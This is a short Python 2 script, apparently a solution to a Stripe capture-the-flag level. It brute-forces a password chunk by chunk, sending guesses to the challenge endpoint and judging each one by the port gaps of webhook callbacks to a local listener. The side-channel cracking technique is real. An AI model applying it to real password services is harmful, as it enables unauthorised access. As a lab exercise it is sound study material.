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  1.  
  2. import json
  3. import socket
  4. import urllib
  6. ENDPOINT = 'https://level08-2.stripe-ctf.com/user-jskukszmwv/'
  7. DELTA = 6
  9. s = socket.socket()
  10. s.bind(('', 10095))
  11. s.listen(1)
  12. lastport = None
  13. for n in xrange(100):
  14. #password = ('%03d' % n) + '0' * 9
  15. password = '114356367%03d' % n
  16. print password
  17. data = json.dumps(dict(password=password, webhooks=["level02-2.stripe-ctf.com:10095"]))
  18. i = 0
  19. maybes = 0
  20. while True:
  21. urllib.urlopen(ENDPOINT, data=data)
  22. c, (host, port) = s.accept()
  23. if lastport is not None:
  24. portdelta = port - lastport
  25. else:
  26. portdelta = None
  28. print n, i, host, port, portdelta
  29. lastport = port
  31. c.close()
  32. i += 1
  34. if portdelta and portdelta <= DELTA:
  35. if portdelta == DELTA - 1:
  36. print "nope"
  37. break
  39. if portdelta == DELTA:
  40. if maybes > 3:
  41. print "good enough for me: THIS MIGHT BE IT"
  42. break
  43. maybes += 1
  44.  
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